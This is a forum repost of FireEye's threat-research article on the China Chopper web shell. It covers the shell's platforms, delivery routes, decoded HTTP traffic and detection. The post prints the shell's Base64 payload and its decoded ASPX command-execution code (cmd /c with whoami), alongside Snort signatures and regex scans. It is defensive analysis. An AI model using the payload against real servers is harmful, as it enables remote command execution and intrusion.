Auteur Sujet: [FireEye]Breaking Down the China Chopper Web Shell - Part II  (Lu 3896 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne igor51

  • Admin
  • Mega Power Members
  • *****
  • Messages: 10419
[FireEye]Breaking Down the China Chopper Web Shell - Part II
« le: février 11, 2018, 18:00:35 »
Breaking Down the China Chopper Web Shell - Part II


  Part II in a two-part series. Read       href="/content/fireeye-www/en_US/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html">Part I.



  Introduction


In     href="/content/fireeye-www/en_US/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html">Part
  I of this series, I described China Chopper's easy-to-use
  interface and advanced features — all the more remarkable considering
  the Web shell's tiny size: 73 bytes for the aspx version, 4 kilobytes
  on disk. In this post, I'll explain China Chopper's platform
  versatility, delivery mechanisms, traffic patterns, and detection. My
  hope is that armed with this information, you can eradicate this pest
  from your environment.



  Platform


So what platform can China Chopper run on? Any Web server that is
  capable of running JSP, ASP, ASPX, PHP, or CFM. That's the majority of
  the Web application languages out there. What about operating systems?
  China Chopper is flexible enough to run transparently on both Windows
  and Linux. This OS and application flexibility makes this an even more
  dangerous Web shell.


In Part I of this series, we showed China Chopper executing on a
  Windows 2003 IIS server using ASPX. Now we will show it running on
  Linux with PHP. As shown in Figure 1, the contents of the PHP version
  are just as minimalistic:



        class="alignnone size-full wp-image-2661 landscape-med"
      alt="image001"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image001.jpg"
      width="630" height="121" />


Figure 1: This command is all that it takes to run on Linux with PHP.


 


While the available options differ depending on what platform China
  Chopper is running on, the file management features in Linux (see
  Figure 2) are similar to those in Windows.



        class="alignnone size-full wp-image-2662 landscape-med"
      alt="image002"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg"
      width="782" height="325" />


Figure 2: File browsing on a target system running Linux


 


The database client example shown in Figure 3 is MySQL instead of
  MS-SQL, but it offers many of the same capabilities.



        class="alignnone size-full wp-image-2663 landscape-med"
      alt="image003"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg"
      width="782" height="297" />


Figure 3: Database management from a target system running Linux


 


The virtual terminal looks familiar (Figure 4), but uses Linux
  commands instead of Windows because these are ultimately interpreted
  by the underlying operating system.



        class="alignnone size-full wp-image-2664 landscape-med"
      alt="image004"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg"
      width="782" height="296" />


Figure 4: Virtual terminal from a target system running Linux


 



  Delivery Mechanism


China Chopper's delivery mechanism can be very flexible due to the
  size, format, and simplicity of the malware's payload. This small,
  text-based payload can be delivered using any of the following mechanisms:



     
  • WebDAV file upload

  •  
  • JBoss jmx-console or Apache Tomcat management pages (For more
        details on this attack vector, read FireEye consultant Tony Lee’s explanation)

  •  
  • Remote exploit with a file drop

  •  
  • Lateral propagation from other access

 



Traffic Analysis



We have now seen the server side payload and the client that is used
  to control the Web shell. Now let's examine China Chopper's traffic.
  Fortunately, we have both the server and client components, so we can
  start a packet capture to view the contents of typical traffic. As
  shown in Figure 5, the client initiates the connection over TCP port
  80 using the HTTP POST method.



        class="alignnone size-full wp-image-2671 landscape-med"
      alt="image007"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg"
      width="782" height="448" />


Figure 5: A packet capture shows that the Web shell traffic is HTTP
  POST traffic over TCP port 80


 


Because this is TCP traffic, we can “follow the TCP” stream in   href="http://www.wireshark.org/">Wireshark (a popular open-source
  network-protocol analyzer that works in Unix and Windows). In Figure
  6, the traffic in red at the top is from the attacker (Web client).
  The traffic shown in blue at the bottom is the response from the
  target (Web shell).



        class="alignnone size-full wp-image-2672 landscape-med"
      alt="image008"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png"
      width="754" height="667" />


Figure 6: After following the TCP stream, we can see that the
  majority of the attacker traffic is Base64 encoded.


 


As highlighted above, the majority of the attacker traffic appears to
  be Base64 encoded. This is not a problem, though, because it can be
  easily decoded. We use the “TextWizard” feature of the free   href="http://fiddler2.com/">Fiddler Web debugger to discover what
  the attacker is sending. (Note: %3D is a URL-encoded
  representation of the equal sign ("="). Fiddler needs this
  to be converted to an equals sign for proper decoding.)



  Raw attacker traffic:




 
   


   


     


   


     


       


   


     


       
         


   


     

Password=Response.Write("->|");


   

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).


   

GetString(System. Convert.FromBase64String


   

("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n


   

LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX


   

N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0


   

ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2


   

U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0


   

SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX


   

RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0


   

KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS


   

hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write


   

("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6


   

XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D


   


   


   


   



 


As shown In Figure 9, the Fiddler Web debugger text wizard easily
  converts the raw traffic from Base64 to plain text.



        class="alignnone size-full wp-image-2673 landscape-med"
      alt="image009"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg"
      width="782" height="579" />


Figure 9: Fiddler Web debugger decodes the Base64 traffic


 



  Decoded traffic:




 
   


   


     


   


     


       


   


     


       
         


   


     

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).


   

GetString(System.Convert.FromBase64String(Request.Item["z1"])));


   

vare=newSystem.Diagnostics.Process();


   

varout:System.IO.StreamReader,EI:System.IO.StreamReader;


   

c.UseShellExecute=false;


   

c.RedirectStandardOutput=true;c.RedirectStandardError=true;


   

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).


   

GetString(System.Convert.FromBase64String(Request.Item["z2"]));


   

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();


   

Response.Write(out.ReadToEnd()+EI.ReadToEnd());


   


   


   


   



 


Finally we have something more readable. However, our Base64-decoded
  traffic is now attempting to decode more Base64 traffic that is being
  stored as z1 and z2. Going back to our attacker traffic, right after
  the end of the “Password” parameter, we see the z1 and z2 parameters.


I've highlighted Base64-encoded parameters z1 and z2 in the following output:




 
   


   


     


   


     


       


   


     


       
         


   


     

&          style="text-decoration: underline;">z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D


   


   


   


   



 


Base64-decoded parameters z1 and z2:




 
   


   


     


   


     


       


   


     


       
         


   


     

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]


   


   


   


   



 


That explains how the client communicates with the shell. The
  “Password” parameter passes the code to the payload to be executed.
  The z1 is cmd, and z2 contains the arguments to the command
  prompt sent via cmd /c. All output is sent to standard output
  (stdout) back to the attacker, which creates the following response to
  the whoami command and the present working directory:




 
   


   


     


   


     


       


   


     


       
         


   


     

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-


   


   


   


   



 



  Detection


Now that we understand the contents of China Chopper and what its
  traffic looks like, we can focus on ways to detect this pest both at
  the network and the host level.



Network



With a standard   target="_blank">Snort IDS in place, this traffic can be caught
  with relative ease. Keith Tyler gives a basic IDS signature to work in
  his early     href="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html">China
    Chopper blog post:


 




 
   


   


     


   


     


       


   


     


       
         


   


     

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";


   

http_client_body;flow:to_server,established;
      content:"POST"; nocase;


   

http_method; ;msg:"Webshell Detected Apache";)


   


   


   


   



 


To reduce false positives, we have tightened the Snort IDS signature
  to focus on China Chopper by looking for contents of
  “FromBase64String” and “z1” as follows:




 
   


   


     


   


     


       


   


     


       
         


   


     

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 


   

(msg: "China Chopper with first Command Detected";


   

flow:to_server,established; content: "FromBase64String";


   

content: "z1"; content:"POST"; nocase;http_method;


   

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/


   

breaking-down-the-china-chopper-web-shell-part-i.html;


   

classtype:web-application-attack; sid: 900000101;)


   


   


   


   



 


The following IDS signature looks for content of “FromBase64String”
  and any combination of “z” followed by one to three digits — it would
  find "z1”, “z10”, or “z100” for example. The idea: if the first
  command (z1) is missed, you still catch subsequent commands.




 
   


   


     


   


     


       


   


     


       
         


   


     

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 


   

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;


   

content: "FromBase64String"; content: "z";
      pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;


   

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/


   

breaking-down-the-china-chopper-web-shell-part-i.html;


   

classtype:web-application-attack; sid: 900000102;)


   


   


   


   



 


Both of these IDS signatures can be modified for further optimization
  when depth and offset are considered. Be sure to put a valid SID in
  before implementing and test the signature for performance.


Now that we have discussed detection at the network level, we will
  see that detection at the host level is also possible. Because the
  shells must contain a predictable syntax, we can quickly attempt to
  find files that have that code in play.



Host



Many methods can be used to find files that contain China Chopper.
  The quickest and easiest method, especially on a Linux machine, is
  probably using regular expressions. As shown in Figure 10, a quick
  egrep across your Web directory can help identify infected files.




 
   


   


     


   


     


       


   


     


       
         


   


     

egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php


   


   


   


   




        class="alignnone size-full wp-image-2674 landscape-med"
      alt="image010"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg"
      width="782" height="311" />


Figure 10:  Using egrep to find this Web shell


 


As you can see in Figure 10, the egrep and
  regex commands are a powerful combination. While the regex
  may seem like gibberish, it really is not as bad as it seems. Ian Ahl
  has created a few regex tutorials that can help improve your regex
  skills. Here are two to get you started:



     

  •           href="http://www.tekdefense.com/news/2012/10/21/tektip-ep12-regex-basics.html">regex basics

  •  

  •           href="http://www.tekdefense.com/news/2013/1/6/tektip-ep19-using-regex-with-notepad.html">Using
          regex with Notepad

Windows also provides a way to search files using regular expressions
  by using the native findstr command.



        class="alignnone size-full wp-image-2675 landscape-med"
      alt="image011"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg"
      width="696" height="94" />


Figure 11: Using findstr to locate China Chopper


 


You may have noticed that we had to change up the regex a
  bit. This was necessary to get around some of the ways that
  findstr interprets regex. The command you would run
  is as follows:



 

findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php


 


These examples show detection in the PHP shell. To find the ASPX
  shell, just modify the regex to fit the syntax of the ASPX
  shell as shown:



 

egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx



 

findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx


 


If you are not sure where all of the PHP or ASPX files are on a
  Windows host, you can use the dir command with some extended
  options to help you identify Web files that you may want to run our
  regex against (see Figure 12).



 

dir /S /A /B *.php


 



        class="alignnone size-full wp-image-2676 landscape-med"
      alt="image012"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg"
      width="510" height="135" />


Figure 12: Recursive search through Windows using the dir command


 



  Findstr also has an option to search all subdirectories (see
  Figure 13).



 

findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php


 



        class="alignnone size-full wp-image-2677 landscape-med"
      alt="image013"
      src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg"
      width="782" height="213" />


Figure 13: Using findstr to recursively locate multiple
  instances of the Web shell


 



  Conclusion:


I hope this explanation of China Chopper's features, platform
  versatility, delivery mechanisms, traffic analysis, and detection give
  you the knowledge and tools you need to eradicate this elegantly
  designed but dangerous menace.


Good hunting.


Source: Breaking Down the China Chopper Web Shell - Part II

Tags: